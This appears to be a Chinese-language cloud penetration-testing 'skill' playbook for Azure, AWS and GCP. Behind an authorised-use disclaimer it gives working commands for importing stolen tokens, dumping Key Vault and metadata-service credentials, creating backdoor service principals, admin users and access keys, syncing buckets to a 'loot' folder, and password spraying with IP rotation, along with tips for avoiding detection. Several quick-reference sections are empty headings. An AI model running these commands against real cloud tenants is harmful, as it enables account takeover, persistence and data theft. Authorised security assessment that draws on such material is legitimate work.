Cloud Penetration Testing

仅限授权使用：本技能仅用于授权的安全评估、防御性验证或受控的教育环境。

云渗透测试

目的

对 Microsoft Azure、Amazon Web Services (AWS) 和 Google Cloud Platform (GCP) 的云基础设施进行全面安全评估。本技能涵盖侦察、身份认证测试、资源枚举、权限提升、数据提取和持久化技术，适用于授权的云安全评估项目。

前置条件

所需工具

# Azure 工具
Install-Module -Name Az -AllowClobber -Force
Install-Module -Name MSOnline -Force
Install-Module -Name AzureAD -Force

# AWS CLI
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install

# GCP CLI
curl https://sdk.cloud.google.com | bash
gcloud init

# 其他工具
pip install scoutsuite pacu

所需知识

• 云架构基础
• 身份与访问管理 (IAM)
• API 身份认证机制
• DevOps 和自动化概念

所需权限

• 书面测试授权
• 测试凭证或访问令牌
• 明确的测试范围和交战规则

输出与交付物

1. 云安全评估报告 - 全面的发现和风险评级
2. 资源清单 - 已枚举的服务、存储和计算实例
3. 凭证发现 - 暴露的密钥、密钥和配置错误
4. 修复建议 - 各平台的加固指导

核心工作流程

阶段 1：侦察

收集目标云环境初始信息：

# Azure：获取联合身份信息
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"

# Azure：获取租户 ID
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"

# 通过公司名称枚举云资源
python3 cloud_enum.py -k targetcompany

# 检查 IP 是否属于云服务商
cat ips.txt | python3 ip2provider.py

阶段 2：Azure 身份认证

认证到 Azure 环境：

# Az PowerShell 模块
Import-Module Az
Connect-AzAccount

# 使用凭证认证（可能绕过 MFA）
$credential = Get-Credential
Connect-AzAccount -Credential $credential

# 导入窃取的上下文
Import-AzContext -Profile 'C:\Temp\StolenToken.json'

# 导出上下文用于持久化
Save-AzContext -Path C:\Temp\AzureAccessToken.json

# MSOnline 模块
Import-Module MSOnline
Connect-MsolService

阶段 3：Azure 枚举

发现 Azure 资源和权限：

# 列出上下文和订阅
Get-AzContext -ListAvailable
Get-AzSubscription

# 当前用户角色分配
Get-AzRoleAssignment

# 列出资源
Get-AzResource
Get-AzResourceGroup

# 存储账户
Get-AzStorageAccount

# Web 应用程序
Get-AzWebApp

# SQL 服务器和数据库
Get-AzSQLServer
Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG

# 虚拟机
Get-AzVM
$vm = Get-AzVM -Name "VMName"
$vm.OSProfile

# 列出所有用户
Get-MSolUser -All

# 列出所有组
Get-MSolGroup -All

# 全局管理员
Get-MsolRole -RoleName "Company Administrator"
Get-MSolGroupMember -GroupObjectId $GUID

# 服务主体
Get-MsolServicePrincipal

阶段 4：Azure 漏洞利用

利用 Azure 配置错误：

# 搜索用户属性中的密码
$users = Get-MsolUser -All
foreach($user in $users){
    $props = @()
    $user | Get-Member | foreach-object{$props+=$_.Name}
    foreach($prop in $props){
        if($user.$prop -like "*password*"){
            Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
        }
    }
}

# 在虚拟机上执行命令
Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1

# 提取虚拟机 UserData
$vms = Get-AzVM
$vms.UserData

# 导出 Key Vault 密钥
az keyvault list --query '[].name' --output tsv
az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
az keyvault secret show --id <URI>

阶段 5：Azure 持久化

在 Azure 中建立持久化：

# 创建后门服务主体
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)

# 将服务主体添加到全局管理员
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId

# 以服务主体身份登录
$cred = Get-Credential  # AppID 作为用户名，密钥作为密码
Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal

# 通过 CLI 创建新管理员用户
az ad user create --display-name <name> --password <pass> --user-principal-name <upn>

阶段 6：AWS 身份认证

认证到 AWS 环境：

# 配置 AWS CLI
aws configure
# 输入：Access Key ID、Secret Access Key、区域、输出格式

# 使用特定配置文件
aws configure --profile target

# 测试凭证
aws sts get-caller-identity

阶段 7：AWS 枚举

发现 AWS 资源：

# 账户信息
aws sts get-caller-identity
aws iam list-users
aws iam list-roles

# S3 存储桶
aws s3 ls
aws s3 ls s3://bucket-name/
aws s3 sync s3://bucket-name ./local-dir

# EC2 实例
aws ec2 describe-instances

# RDS 数据库
aws rds describe-db-instances --region us-east-1

# Lambda 函数
aws lambda list-functions --region us-east-1
aws lambda get-function --function-name <name>

# EKS 集群
aws eks list-clusters --region us-east-1

# 网络
aws ec2 describe-subnets
aws ec2 describe-security-groups --group-ids <sg-id>
aws directconnect describe-connections

阶段 8：AWS 漏洞利用

利用 AWS 配置错误：

# 检查公开的 RDS 快照
aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>
# AttributeValues = "all" 表示公开可访问

# 提取 Lambda 环境变量（可能包含密钥）
aws lambda get-function --function-name <name> | jq '.Configuration.Environment'

# 访问元数据服务（从被攻陷的 EC2）
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# IMDSv2 访问
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"

阶段 9：AWS 持久化

在 AWS 中建立持久化：

# 列出现有访问密钥
aws iam list-access-keys --user-name <username>

# 创建后门访问密钥
aws iam create-access-key --user-name <username>

# 获取所有 EC2 公网 IP
for region in $(cat regions.txt); do
    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'
done

阶段 10：GCP 枚举

发现 GCP 资源：

# 身份认证
gcloud auth login
gcloud auth activate-service-account --key-file creds.json
gcloud auth list

# 账户信息
gcloud config list
gcloud organizations list
gcloud projects list

# IAM 策略
gcloud organizations get-iam-policy <org-id>
gcloud projects get-iam-policy <project-id>

# 已启用的服务
gcloud services list

# 源代码仓库
gcloud source repos list
gcloud source repos clone <repo>

# 计算实例
gcloud compute instances list
gcloud beta compute ssh --zone "region" "instance" --project "project"

# 存储桶
gsutil ls
gsutil ls -r gs://bucket-name
gsutil cp gs://bucket/file ./local

# SQL 实例
gcloud sql instances list
gcloud sql databases list --instance <id>

# Kubernetes
gcloud container clusters list
gcloud container clusters get-credentials <cluster> --region <region>
kubectl cluster-info

阶段 11：GCP 漏洞利用

利用 GCP 配置错误：

# 获取元数据服务数据
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"

# 检查访问范围
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'

# 使用密钥环解密数据
gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global

# 无服务器函数分析
gcloud functions list
gcloud functions describe <name>
gcloud functions logs read <name> --limit 100

# 查找存储的凭证
sudo find /home -name "credentials.db"
sudo cp -r /home/user/.config/gcloud ~/.config
gcloud auth list

快速参考

Azure 关键命令

AWS 关键命令

GCP 关键命令

元数据服务 URL

常用工具

约束与限制

法律要求

• 仅在明确的书面授权下进行测试
• 遵守云账户之间的范围边界
• 不要访问生产环境的客户数据
• 记录所有测试活动

技术限制

• MFA 可能阻止基于凭证的攻击
• 条件访问策略可能限制访问
• CloudTrail/活动日志记录所有 API 调用
• 某些资源需要特定区域访问

检测考虑

• 云服务商记录所有 API 活动
• 异常访问模式会触发告警
• 使用缓慢、谨慎的枚举方式
• 考虑 GuardDuty、Security Center、Cloud Armor

示例

示例 1：Azure 密码喷洒

场景： 测试 Azure AD 密码策略

# 使用 MSOLSpray 和 FireProx 进行 IP 轮换
# 首先创建 FireProx 端点
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create

# 喷洒密码
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox

示例 2：AWS S3 存储桶枚举

场景： 查找并访问配置错误的 S3 存储桶

# 列出所有存储桶
aws s3 ls | awk '{print $3}' > buckets.txt

# 检查每个存储桶的内容
while read bucket; do
    echo "Checking: $bucket"
    aws s3 ls s3://$bucket 2>/dev/null
done < buckets.txt

# 下载感兴趣的存储桶
aws s3 sync s3://misconfigured-bucket ./loot/

示例 3：GCP 服务账户入侵

场景： 使用被攻陷的服务账户进行横向移动

# 使用服务账户密钥认证
gcloud auth activate-service-account --key-file compromised-sa.json

# 列出可访问的项目
gcloud projects list

# 枚举计算实例
gcloud compute instances list --project target-project

# 检查元数据中的 SSH 密钥
gcloud compute project-info describe --project target-project | grep ssh

# SSH 到实例
gcloud beta compute ssh instance-name --zone us-central1-a --project target-project

故障排除

参考资料

• 高级云脚本 - Azure Automation Runbook、Function Apps 枚举、AWS 数据渗出、GCP 高级漏洞利用

使用时机

本技能适用于执行概述中描述的工作流程或操作。